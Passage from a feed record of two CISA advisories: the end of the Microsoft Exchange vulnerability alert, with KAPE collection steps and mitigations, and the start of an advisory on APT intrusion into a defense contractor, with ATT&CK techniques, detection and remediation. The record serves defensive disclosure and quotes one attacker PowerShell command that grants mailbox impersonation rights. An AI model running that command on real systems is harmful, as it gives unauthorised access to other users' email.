drive as the **Target source**. If available, use an external hard drive or flash drive.\n\n * A KAPE execution with these parameters will typically produce output artifacts with a total size of 1-25 GB.\n * If you are going to be running KAPE on different machines and want to save to the same drive, ensure the Target destination folder is unique for each execution of KAPE.\n\n6) Uncheck **Flush **checkbox (it is checked natively).\n\n7) Check **Add %d** and **Add %m** checkboxes.\n\n8) Select ALL checkboxes to ensure KAPE will target all available data that it is capable of targeting. This takes some time; use the down arrow and space bar to move through the list quickly.\n\n9) Check **Process VSCs** checkbox.\n\n10) Select **Zip **radio button and add Base name TargetOutput.\n\n11) Ensure **Deduplicate **checkbox is checked (it is checked natively).\n\n * At the bottom you should now see a large Current command line, similar to:\n\n.\\kape.exe --tsource C: --tdest E:\\%d%m --tflush --target !BasicCollection,!SANS_Triage,Avast,AviraAVLogs,Bitdefender,ComboFix,ESET,FSecure,HitmanPro,Malwarebytes, McAfee,McAfee_ePO,RogueKiller,SentinelOne,Sophos,SUPERAntiSpyware,Symantec_AV_Logs,TrendMicro,VIPRE, Webroot,WindowsDefender,Ammyy,AsperaConnect,BoxDrive,CiscoJabber,CloudStorage,ConfluenceLogs,Discord, Dropbox, Exchange,ExchangeClientAccess,ExchangeTransport,FileZilla,GoogleDrive,iTunesBackup,JavaWebCache,Kaseya,LogMeIn,Notepad++, OneDrive,OutlookPSTOST,ScreenConnect,Skype,TeamViewerLogs,TeraCopy,VNCLogs, Chrome,ChromeExtensions,Edge,Firefox,InternetExplorer,WebBrowsers,ApacheAccessLog,IISLogFiles,ManageEngineLogs, MSSQLErrorLog,NGINXLogs,PowerShellConsole,KapeTriage,MiniTimelineCollection,RemoteAdmin, VirtualDisks, Gigatribe,TorrentClients,Torrents,$Boot,$J,$LogFile,$MFT,$SDS,$T,Amcache,ApplicationEvents,BCD,CombinedLogs, EncapsulationLogging,EventLogs,EventLogs-RDP,EventTraceLogs, EvidenceOfExecution,FileSystem,GroupPolicy,LinuxOnWindowsProfileFiles,LnkFilesAndJumpLists,LogFiles,MemoryFiles, MOF,OfficeAutosave,OfficeDocumentCache,Prefetch,RDPCache,RDPLogs,RecentFileCache,Recycle, RecycleBin, RecycleBinContent,RecycleBinMetadata,RegistryHives,RegistryHivesSystem,RegistryHivesUser,ScheduledTasks,SDB, SignatureCatalog,SRUM,StartupInfo,Syscache,ThumbCache,USBDevicesLogs,WBEM,WER,WindowsFirewall, WindowsIndexSearch,WindowsNotifcationsDB,WindowsTimeline,XPRestorePoints --vss --zip TargetOutput \u2013gui\n\n * In the bottom right corner hit the** Execute! **Button.\n * Screenshot below shows `gkape.exe` during execution, you will also see a command window execute. **Note: **KAPE usually takes less than 20 minutes to complete on a workstation; if it is taking significantly longer there may be an issue.\n\n\n\n_Figure 4: gkape.exe screenshot_\n\n### Mitigations\n\nCISA strongly recommends organizations read [Microsoft\u2019s advisory](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>) and [security blog post](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) for more information on how to look for this malicious activity and to apply critical patches as soon as possible.\n\n_(Updated March 4, 2021):_ CISA is aware of threat actors using open source tools to search for vulnerable Microsoft Exchange Servers. This particular type of attack is scriptable, allowing attackers to easily exploit vulnerabilities through automated mechanisms. CISA advises all entities to patch as soon as possible to avoid being compromised. \n\n_(Updated March 4, 2021):_ From [Microsoft's patch release](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2021-exchange-server-security-updates/ba-p/2175901>), the security updates are available for the following operating systems:\n\n * Exchange Server 2010 (update requires SP 3 or any SP 3 RU \u2013 this is a Defense in Depth update)\n * Exchange Server 2013 (update requires CU 23)\n * Exchange Server 2016 (update requires CU 19 or CU 18)\n * Exchange Server 2019 (update requires CU 8 or CU 7)\n\n_(Updated March 4, 2021):_ If you are running an older CU then what the patch will accept, you must upgrade to at least the required CU as stated above then apply the patch. \n\n_(Updated March 4, 2021):_ All patches must be applied using administrator privileges. \n\n\n_(Updated March 5, 2021)_: If patching is not an immediate option, CISA strongly recommends following alternative mitigations found in [Microsoft\u2019s blog on Exchange Server Vulnerabilities Mitigations](<https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/>). However, these options should only be used as a temporary solution, not a replacement for patching. Additionally, there are other mitigation options available. CISA recommends limiting or blocking external access to internet-facing Exchange Servers via the following:\n\n * Restrict untrusted connections to port 443, or set up a VPN to separate the Exchange Server from external access; note that this will not prevent an adversary from exploiting the vulnerability if the attacker is already in your network.\n * Block external access to on-premises Exchange: \n * Restrict external access to OWA URL: `/owa/`. \n * Restrict external access to Exchange Admin Center (EAC) aka Exchange Control Panel (ECP) URL:` /ecp/`.\n\n * _(Updated March 4, 2021):_ Disconnect vulnerable Exchange servers from the internet until a patch can be applied.\n\nCISA would like to thank Microsoft and Volexity for their contributions to this Alert.\n\n### Resources\n\n * (Updated April 14, 2021) **Microsoft's April 2021 Security Update **that mitigates significant vulnerabilities affecting on-premises Exchange Server 2013, 2016, and 2019.\n * _(Updated March 12, 2021) _[Check my OWA](<https://checkmyowa.unit221b.com/>) tool for checking if a system has been affected. _**Disclaimer:** this tool does not check against an exhaustive list of compromised domains. It is meant for informational purposes only. The United States Government does not provide any warranties of any kind regarding this information and cannot assure its accuracy or completeness; therefore, entities should not rely solely on this information to justify foregoing CISA\u2019s recommendations for action described on this webpage._\n * Microsoft Advisory: <https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>\n * Microsoft Security Blog - Hafnium targeting Exchange Servers: <https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>\n * Volexity Blog: https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/\n * Microsoft\u2019s blog on Exchange Server Vulnerabilities Mitigations: <https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/>\n\n### References\n\n[Eric Zimmerman: KAPE Documentation](<https://ericzimmerman.github.io/KapeDocs/#!Pages%5C2.-Getting-started.md>)\n\n[Emergency Directive 21-02: Mitigate Microsoft Exchange On-Premises Product Vulnerabilities](<https://cyber.dhs.gov/ed/21-02/>)\n\n[Supplemental Direction V1 to Emergency Directive 21-02: Mitigate Microsoft Exchange On-Premises Product Vulnerabilities ](<https://cyber.dhs.gov/ed/21-02/#supplemental-direction>)\n\n[Supplemental Direction V2 to Emergency Directive 21-02: Mitigate Microsoft Exchange On-Premises Product Vulnerabilities](<https://cyber.dhs.gov/ed/21-02/#supplemental-direction-v2>)\n\n### Revisions\n\nMarch 3, 2021: Initial Version|March 4, 2020: Updated Mitigations and Technical Details sections|March 5, 2021: Updated Mitigations Guidance from Microsoft|March 10, 2021: Updated TTP Section|March 12, 2021: Updated Resources Section|March 12, 2021: Added information on DearCry Ransomware |March 13, 2021: Added seven China Chopper Webshell MARs|March 14, 2021: Updated information on DearCry Ransomware|March 16, 2021: Added information on EOMT tool|March 25, 2021: Added two China Chopper Webshell MARs|March 25, 2021: Updated MARs to include YARA Rules|March 31, 2021: Added links to ED 21-02 and ED 21-02 Supplemental Direction|April 12, 2021: Added one China Chopper Webshell MAR and one DearCry Ransomware MAR|April 13, 2021: Added links to Microsoft's April 2021 Security Update and ED 21-02 Supplemental Direction V2|April 14, 2021: Added Exchange Server 2013 to list of on-premises Exchange Servers affected by the vulnerabilities dislcosed on April 13, 2021. |July 19, 2021: Added attribution note\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-19T12:00:00", "type": "ics", "title": "Mitigate Microsoft Exchange Server Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-07-19T12:00:00", "id": "AA21-062A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-062a", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-14T18:24:54", "description": "### Summary\n\nActions to Help Protect Against APT Cyber Activity:\n\n\u2022 Enforce multifactor authentication (MFA) on all user accounts. \n\u2022 Implement network segmentation to separate network segments based on role and functionality. \n\u2022 Update software, including operating systems, applications, and firmware, on network assets. \n\u2022 Audit account usage.\n\nFrom November 2021 through January 2022, the Cybersecurity and Infrastructure Security Agency (CISA) responded to advanced persistent threat (APT) activity on a Defense Industrial Base (DIB) Sector organization\u2019s enterprise network. During incident response activities, CISA uncovered that likely multiple APT groups compromised the organization\u2019s network, and some APT actors had long-term access to the environment. APT actors used an open-source toolkit called Impacket to gain their foothold within the environment and further compromise the network, and also used a custom data exfiltration tool, CovalentStealer, to steal the victim\u2019s sensitive data.\n\nThis joint Cybersecurity Advisory (CSA) provides APT actors tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) identified during the incident response activities by CISA and a third-party incident response organization. The CSA includes detection and mitigation actions to help organizations detect and prevent related APT activity. CISA, the Federal Bureau of Investigation (FBI), and the National Security Agency (NSA) recommend DIB sector and other critical infrastructure organizations implement the mitigations in this CSA to ensure they are managing and reducing the impact of cyber threats to their networks.\n\nDownload the PDF version of this report: pdf, 692 KB\n\nFor a downloadable copy of IOCs, see the following files:\n\n * [Malware Analysis Report (MAR)-10365227-1.stix, 966 kb](<https://www.cisa.gov/uscert/sites/default/files/publications/MAR-10365227.r1.v1.WHITE_stix_7.xml>)\n * [MAR-10365227-2.stix, 249B](<https://www.cisa.gov/uscert/sites/default/files/publications/MAR-10365227.r2.v1.WHITE_stix.xml>)\n * [MAR-10365227-3.stix, 3.2 MB](<https://www.cisa.gov/uscert/sites/default/files/publications/MAR-10365227.r3.v1.WHITE_stix_0.xml>)\n\n### Technical Details\n\n#### **Threat Actor Activity**\n\n**Note**: _This advisory uses the [MITRE ATT&CK\u00ae for Enterprise](<https://attack.mitre.org/versions/v11/matrices/enterprise/>) framework, version 11. See the MITRE ATT&CK Tactics and Techniques section for a table of the APT cyber activity mapped to MITRE ATT&CK for Enterprise framework._\n\nFrom November 2021 through January 2022, CISA conducted an incident response engagement on a DIB Sector organization\u2019s enterprise network. The victim organization also engaged a third-party incident response organization for assistance. During incident response activities, CISA and the trusted \u2013third-party identified APT activity on the victim\u2019s network.\n\nSome APT actors gained initial access to the organization\u2019s Microsoft Exchange Server as early as mid-January 2021. The initial access vector is unknown. Based on log analysis, the actors gathered information about the exchange environment and performed mailbox searches within a four-hour period after gaining access. In the same period, these actors used a compromised administrator account (\u201cAdmin 1\u201d) to access the EWS Application Programming Interface (API). In early February 2021, the actors returned to the network and used Admin 1 to access EWS API again. In both instances, the actors used a virtual private network (VPN).\n\nFour days later, the APT actors used Windows Command Shell over a three-day period to interact with the victim\u2019s network. The actors used Command Shell to learn about the organization\u2019s environment and to collect sensitive data, including sensitive contract-related information from shared drives, for eventual exfiltration. The actors manually collected files using the command-line tool, WinRAR. These files were split into approximately 3MB chunks located on the Microsoft Exchange server within the CU2\\he\\debug directory. See Appendix: Windows Command Shell Activity for additional information, including specific commands used.\n\nDuring the same period, APT actors implanted [Impacket](<https://attack.mitre.org/versions/v11/software/S0357/>), a Python toolkit for programmatically constructing and manipulating network protocols, on another system. The actors used Impacket to attempt to move laterally to another system.\n\nIn early March 2021, APT actors exploited CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 to install 17 China Chopper webshells on the Exchange Server. Later in March, APT actors installed HyperBro on the Exchange Server and two other systems. For more information on the HyperBro and webshell samples, see CISA [MAR-10365227-2](<https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-277b>) and [-3](<https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-277c>).\n\nIn April 2021, APT actors used Impacket for network exploitation activities. See the Use of Impacket section for additional information. From late July through mid-October 2021, APT actors employed a custom exfiltration tool, CovalentStealer, to exfiltrate the remaining sensitive files. See the Use of Custom Exfiltration Tool: CovalentStealer section for additional information.\n\nAPT actors maintained access through mid-January 2022, likely by relying on legitimate credentials.\n\n#### **Use of Impacket**\n\nCISA discovered activity indicating the use of two Impacket tools: wmiexec.py and smbexec.py. These tools use Windows Management Instrumentation (WMI) and Server Message Block (SMB) protocol, respectively, for creating a semi-interactive shell with the target device. Through the Command Shell, an Impacket user with credentials can run commands on the remote device using the Windows management protocols required to support an enterprise network.\n\nThe APT cyber actors used existing, compromised credentials with Impacket to access a higher privileged service account used by the organization's multifunctional devices. The threat actors first used the service account to remotely access the organization\u2019s Microsoft Exchange server via Outlook Web Access (OWA) from multiple external IP addresses; shortly afterwards, the actors assigned the Application Impersonation role to the service account by running the following PowerShell command for managing Exchange:\n\npowershell add-pssnapin *exchange*;New-ManagementRoleAssignment - name:\"Journaling-Logs\" -Role:ApplicationImpersonation -User:<account>\n\nThis command gave the service account the ability to access other users\u2019 mailboxes.\n\nThe APT cyber actors used virtual private network (VPN) and virtual private server (VPS) providers, M247 and SurfShark, as part of their techniques to remotely access the Microsoft Exchange server. Use of these hosting providers, which serves to conceal interaction with victim networks, are common for these threat actors. According to CISA\u2019s analysis of the victim\u2019s Microsoft Exchange server Internet Information Services (IIS) logs, the actors used the account of a former employee to access the EWS. EWS enables access to mailbox items such as email messages, meetings, and contacts. The source IP address for these connections is mostly from the VPS hosting provider, M247.\n\n#### Use of Custom Exfiltration Tool: CovalentStealer\n\nThe threat actors employed a custom exfiltration tool, CovalentStealer, to exfiltrate sensitive files.\n\nCovalentStealer is designed to identify file shares on a system, categorize the files, and upload the files to a remote server. CovalentStealer includes two configurations that specifically target the victim's documents using predetermined files paths and user credentials. CovalentStealer stores the collected files on a Microsoft OneDrive cloud folder, includes a configuration file to specify the types of files to collect at specified times and uses a 256-bit AES key for encryption. See CISA [MAR-10365227-1](<https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-277a>) for additional technical details, including IOCs and detection signatures.\n\n#### MITRE ATT&CK Tactics and Techniques\n\nMITRE ATT&CK is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. CISA uses the ATT&CK Framework as a foundation for the development of specific threat models and methodologies. Table 1 lists the ATT&CK techniques employed by the APT actors.\n\n_Table 1: Identified APT Enterprise ATT&CK Tactics and Techniques_\n\n_Initial Access_ \n \n--- \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nValid Accounts\n\n| \n\n[T1078](<https://attack.mitre.org/versions/v11/techniques/T1078/>)\n\n| \n\nActors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization\u2019s multifunctional device domain account used to access the organization\u2019s Microsoft Exchange server via OWA. \n \n_Execution_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nWindows Management Instrumentation\n\n| \n\n[T1047](<https://attack.mitre.org/versions/v11/techniques/T1047/>)\n\n| \n\nActors used Impacket tools wmiexec.py and smbexec.py to leverage Windows Management Instrumentation and execute malicious commands. \n \nCommand and Scripting Interpreter\n\n| \n\n[T1059](<https://attack.mitre.org/versions/v11/techniques/T1059/003/>)\n\n| \n\nActors abused command and script interpreters to execute commands. \n \nCommand and Scripting Interpreter: PowerShell\n\n| \n\n[T1059.001](<https://attack.mitre.org/techniques/T1059/001>)\n\n| \n\nActors abused PowerShell commands and scripts to map shared drives by specifying a path to one location and retrieving the items from another. See Appendix: Windows Command Shell Activity for additional information. \n \nCommand and Scripting Interpreter: Windows Command Shell\n\n| \n\n[T1059.003](<https://attack.mitre.org/versions/v11/techniques/T1059/003/>)\n\n| \n\nActors abused the Windows Command Shell to learn about the organization\u2019s environment and to collect sensitive data. See Appendix: Windows Command Shell Activity for additional information, including specific commands used.\n\nThe actors used Impacket tools, which enable a user with credentials to run commands on the remote device through the Command Shell. \n \nCommand and Scripting Interpreter: Python\n\n| \n\n[T1059.006](<https://attack.mitre.org/versions/v11/techniques/T1059/006/>)\n\n| \n\nThe actors used two Impacket tools: wmiexec.py and smbexec.py. \n \nShared Modules\n\n| \n\n[T1129](<https://attack.mitre.org/techniques/T1129>)\n\n| \n\nActors executed malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. \n \nSystem Services\n\n| \n\n[T1569](<https://attack.mitre.org/versions/v11/techniques/T1569/>)\n\n| \n\nActors abused system services to execute commands or programs on the victim\u2019s network. \n \n_Persistence_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nValid Accounts\n\n| \n\n[T1078](<https://attack.mitre.org/versions/v11/techniques/T1078/>)\n\n| \n\nActors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. \n \nCreate or Modify System Process\n\n| \n\n[T1543](<https://attack.mitre.org/versions/v11/techniques/T1543/>)\n\n| \n\nActors were observed creating or modifying system processes. \n \n_Privilege Escalation_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nValid Accounts\n\n| \n\n[T1078](<https://attack.mitre.org/versions/v11/techniques/T1078/>)\n\n| \n\nActors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization\u2019s multifunctional device domain account used to access the organization\u2019s Microsoft Exchange server via OWA. \n \n_Defense Evasion_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nMasquerading: Match Legitimate Name or Location\n\n| \n\n[T1036.005](<https://attack.mitre.org/versions/v11/techniques/T1036/005>)\n\n| \n\nActors masqueraded the archive utility WinRAR.exe by renaming it VMware.exe to evade defenses and observation. \n \nIndicator Removal on Host\n\n| \n\n[T1070](<https://attack.mitre.org/versions/v11/techniques/T1070/004/>)\n\n| \n\nActors deleted or modified artifacts generated on a host system to remove evidence of their presence or hinder defenses. \n \nIndicator Removal on Host: File Deletion\n\n| \n\n[T1070.004](<https://attack.mitre.org/versions/v11/techniques/T1070/004/>)\n\n| \n\nActors used the del.exe command with the /f parameter to force the deletion of read-only files with the *.rar and tempg* wildcards. \n \nValid Accounts\n\n| \n\n[T1078](<https://attack.mitre.org/versions/v11/techniques/T1078/>)\n\n| \n\nActors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization\u2019s multifunctional device domain account used to access the organization\u2019s Microsoft Exchange server via OWA. \n \nVirtualization/Sandbox Evasion: System Checks\n\n| \n\n[T1497.001](<https://attack.mitre.org/techniques/T1497/001>)\n\n| \n\nActors used Windows command shell commands to detect and avoid virtualization and analysis environments. See Appendix: Windows Command Shell Activity for additional information. \n \nImpair Defenses: Disable or Modify Tools\n\n| \n\n[T1562.001](<https://attack.mitre.org/techniques/T1562/001>)\n\n| \n\nActors used the taskkill command to probably disable security features. CISA was unable to determine which application was associated with the Process ID. \n \nHijack Execution Flow\n\n| \n\n[T1574](<https://attack.mitre.org/versions/v11/techniques/T1574/>)\n\n| \n\nActors were observed using hijack execution flow. \n \n_Discovery_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nSystem Network Configuration Discovery\n\n| \n\n[T1016](<https://attack.mitre.org/techniques/T1016>)\n\n| \n\nActors used the systeminfo command to look for details about the network configurations and settings and determine if the system was a VMware virtual machine.\n\nThe threat actor used route print to display the entries in the local IP routing table. \n \nSystem Network Configuration Discovery: Internet Connection Discovery\n\n| \n\n[T1016.001](<https://attack.mitre.org/techniques/T1016/001>)\n\n| \n\nActors checked for internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways. \n \nSystem Owner/User Discovery\n\n| \n\n[T1033](<https://attack.mitre.org/techniques/T1033>)\n\n| \n\nActors attempted to identify the primary user, currently logged in user, set of users that commonly use a system, or whether a user is actively using the system. \n \nSystem Network Connections Discovery\n\n| \n\n[T1049](<https://attack.mitre.org/techniques/T1049>)\n\n| \n\nActors used the netstat command to display TCP connections, prevent hostname determination of foreign IP addresses, and specify the protocol for TCP. \n \nProcess Discovery\n\n| \n\n[T1057](<https://attack.mitre.org/techniques/T1057>)\n\n| \n\nActors used the tasklist command to get information about running processes on a system and determine if the system was a VMware virtual machine.\n\nThe actors used tasklist.exe and find.exe to display a list of applications and services with their PIDs for all tasks running on the computer matching the string \u201cpowers.\u201d \n \nSystem Information Discovery\n\n| \n\n[T1082](<https://attack.mitre.org/techniques/T1082>)\n\n| \n\nActors used the ipconfig command to get detailed information about the operating system and hardware and determine if the system was a VMware virtual machine. \n \nFile and Directory Discovery\n\n| \n\n[T1083](<https://attack.mitre.org/techniques/T1083>)\n\n| \n\nActors enumerated files and directories or may search in specific locations of a host or network share for certain information within a file system. \n \nVirtualization/Sandbox Evasion: System Checks\n\n| \n\n[T1497.001](<https://attack.mitre.org/techniques/T1497/001>)\n\n| \n\nActors used Windows command shell commands to detect and avoid virtualization and analysis environments. \n \n_Lateral Movement_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nRemote Services: SMB/Windows Admin Shares\n\n| \n\n[T1021.002](<https://attack.mitre.org/techniques/T1021/002>)\n\n| \n\nActors used Valid Accounts to interact with a remote network share using Server Message Block (SMB) and then perform actions as the logged-on user. \n \n_Collection_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nArchive Collected Data: Archive via Utility\n\n| \n\n[T1560.001](<https://attack.mitre.org/techniques/T1560>)\n\n| \n\nActor used PowerShell commands and WinRAR to compress and/or encrypt collected data prior to exfiltration. \n \nData from Network Shared Drive\n\n| \n\n[T1039](<https://attack.mitre.org/versions/v11/techniques/T1039/>)\n\n| \n\nActors likely used net share command to display information about shared resources on the local computer and decide which directories to exploit, the powershell dir command to map shared drives to a specified path and retrieve items from another, and the ntfsinfo command to search network shares on computers they have compromised to find files of interest.\n\nThe actors used dir.exe to display a list of a directory's files and subdirectories matching a certain text string. \n \nData Staged: Remote Data Staging\n\n| \n\n[T1074.002](<https://attack.mitre.org/versions/v11/techniques/T1074/002/>)\n\n| \n\nThe actors split collected files into approximately \n3 MB chunks located on the Exchange server within the CU2\\he\\debug directory. \n \n_Command and Control_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nNon-Application Layer Protocol\n\n| \n\n[T1095](<https://attack.mitre.org/techniques/T1095>)\n\n| \n\nActors used a non-application layer protocol for communication between host and Command and Control (C2) server or among infected hosts within a network. \n \nIngress Tool Transfer\n\n| \n\n[T1105](<https://attack.mitre.org/versions/v11/techniques/T1105/>)\n\n| \n\nActors used the certutil command with three switches to test if they could download files from the internet.\n\nThe actors employed CovalentStealer to exfiltrate the files. \n \nProxy\n\n| \n\n[T1090](<https://attack.mitre.org/versions/v11/techniques/T1090/>)\n\n| \n\nActors are known to use VPN and VPS providers, namely M247 and SurfShark, as part of their techniques to access a network remotely. \n \n_Exfiltration_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nSchedule Transfer\n\n| \n\n[T1029](<https://attack.mitre.org/versions/v11/techniques/T1029/>)\n\n| \n\nActors scheduled data exfiltration to be performed only at certain times of day or at certain intervals and blend traffic patterns with normal activity. \n \nExfiltration Over Web Service: Exfiltration to Cloud Storage\n\n| \n\n[T1567.002](<https://attack.mitre.org/versions/v11/techniques/T1567/002>)\n\n| \n\nThe actor's CovalentStealer tool stores collected files on a Microsoft OneDrive cloud folder. \n \n### DETECTION\n\nGiven the actors\u2019 demonstrated capability to maintain persistent, long-term access in compromised enterprise environments, CISA, FBI, and NSA encourage organizations to:\n\n * Monitor logs for connections from unusual VPSs and VPNs. Examine connection logs for access from unexpected ranges, particularly from machines hosted by SurfShark and M247.\n * Monitor for suspicious account use (e.g., inappropriate or unauthorized use of administrator accounts, service accounts, or third-party accounts). To detect use of compromised credentials in combination with a VPS, follow the steps below: \n * Review logs for \"impossible logins,\" such as logins with changing username, user agent strings, and IP address combinations or logins where IP addresses do not align to the expected user\u2019s geographic location.\n * Search for \"impossible travel,\" which occurs when a user logs in from multiple IP addresses that are a significant geographic distance apart (i.e., a person could not realistically travel between the geographic locations of the two IP addresses in the time between logins). Note: This detection opportunity can result in false positives if legitimate users apply VPN solutions before connecting to networks.\n * Search for one IP used across multiple accounts, excluding expected logins. \n * Take note of any M247-associated IP addresses used along with VPN providers (e.g., SurfShark). Look for successful remote logins (e.g., VPN, OWA) for IPs coming from M247- or using SurfShark-registered IP addresses.\n * Identify suspicious privileged account use after resetting passwords or applying user account mitigations.\n * Search for unusual activity in typically dormant accounts.\n * Search for unusual user agent strings, such as strings not typically associated with normal user activity, which may indicate bot activity.\n * Review the YARA rules provided in MAR-10365227-1 to assist in determining whether malicious activity has been observed.\n * Monitor for the installation of unauthorized software, including Remote Server Administration Tools (e.g., psexec, RdClient, VNC, and ScreenConnect).\n * Monitor for anomalous and known malicious command-line use. See Appendix: Windows Command Shell Activity for commands used by the actors to interact with the victim\u2019s environment.\n * Monitor for unauthorized changes to user accounts (e.g., creation, permission changes, and enabling a previously disabled account).\n\n### CONTAINMENT AND REMEDIATION\n\nOrganizations affected by active or recently active threat actors in their environment can take the following initial steps to aid in eviction efforts and prevent re-entry:\n\n * Report the incident. Report the incident to U.S. Government authorities and follow your organization\u2019s incident response plan. \n * Report incidents to CISA via CISA\u2019s 24/7 Operations Center ([report@cisa.gov](<mailto:report@cisa.gov>) or 888-282-0870).\n * Report incidents to your local FBI field office at [fbi.gov/contact-us/field-offices](<http://www.fbi.gov/contact-us/field>) or to FBI\u2019s 24/7 Cyber Watch (CyWatch) via (855) 292-3937 or [CyWatch@fbi.gov](<mailto:CyWatch@fbi.gov>).\n * For DIB incident reporting, contact the Defense Cyber Crime Center (DC3) via DIBNET at [dibnet.dod.mil/portal/intranet](<https://dibnet.dod.mil/portal/intranet>) or (410) 981 0104.\n * Reset all login accounts. Reset all accounts used for authentication since it is possible that the threat actors have additional stolen credentials. Password resets should also include accounts outside of Microsoft Active Directory, such as network infrastructure devices and other non-domain joined devices (e.g., IoT devices).\n * Monitor SIEM logs and build detections. Create signatures based on the threat actor TTPs and use these signatures to monitor security logs for any signs of threat actor re-entry.\n * Enforce MFA on all user accounts. Enforce phishing-resistant MFA on all accounts without exception to the greatest extent possible.\n * Follow Microsoft\u2019s security guidance for Active Directory\u2014[Best Practices for Securing Active Directory](<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory>).\n * Audit accounts and permissions. Audit all accounts to ensure all unused accounts are disabled or removed and active accounts do not have excessive privileges. Monitor SIEM logs for any changes to accounts, such as permission changes or enabling a previously disabled account, as this might indicate a threat actor using these accounts.\n * Harden and monitor PowerShell by reviewing guidance in the joint Cybersecurity Information Sheet\u2014[Keeping PowerShell: Security Measures to Use and Embrace](<https://media.defense.gov/2022/Jun/22/2003021689/-1/-1/1/CSI_KEEPING_POWERSHELL_SECURITY_MEASURES_TO_USE_AND_EMBRACE_20220622.PDF>).\n\n### Mitigations\n\nMitigation recommendations are usually longer-term efforts that take place before a compromise as part of risk management efforts, or after the threat actors have been evicted from the environment and the immediate response actions are complete. While some may be tailored to the TTPs used by the threat actor, recovery recommendations are largely general best practices and industry standards aimed at bolstering overall cybersecurity posture.\n\n### Segment Networks Based on Function\n\n * **Implement network segmentation to separate network segments based on role and functionality**. Proper network segmentation significantly reduces the ability for ransomware and other threat actor lateral movement by controlling traffic flows between\u2014and access to\u2014various subnetworks. (See CISA\u2019s Infographic on Layering Network Security Through Segmentation and NSA\u2019s [Segment Networks and Deploy Application-Aware Defenses](<https://media.defense.gov/2019/Sep/09/2002180325/-1/-1/0/Segment Networks and Deploy Application Aware Defenses - Copy.pdf>).)\n * **Isolate similar systems and implement micro-segmentation with granular access and policy restrictions** to modernize cybersecurity and adopt Zero Trust (ZT) principles for both network perimeter and internal devices. Logical and physical segmentation are critical to limiting and preventing lateral movement, privilege escalation, and exfiltration.\n\n### Manage Vulnerabilities and Configurations\n\n * **Update software**, **including operating systems**, **applications**, **and firmware**, **on network assets**. Prioritize patching [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) and critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment.\n * **Implement a configuration change control process** that securely creates device configuration backups to detect unauthorized modifications. When a configuration change is needed, document the change, and include the authorization, purpose, and mission justification. Periodically verify that modifications have not been applied by comparing current device configurations with the most recent backups. If suspicious changes are observed, verify the change was authorized.\n\n### Search for Anomalous Behavior\n\n * **Use cybersecurity visibility and analytics tools** to improve detection of anomalous behavior and enable dynamic changes to policy and other response actions. Visibility tools include network monitoring tools and host-based logs and monitoring tools, such as an endpoint detection and response (EDR) tool. EDR tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.\n * **Monitor the use of scripting languages** (e.g., Python, Powershell) by authorized and unauthorized users. Anomalous use by either group may be indicative of malicious activity, 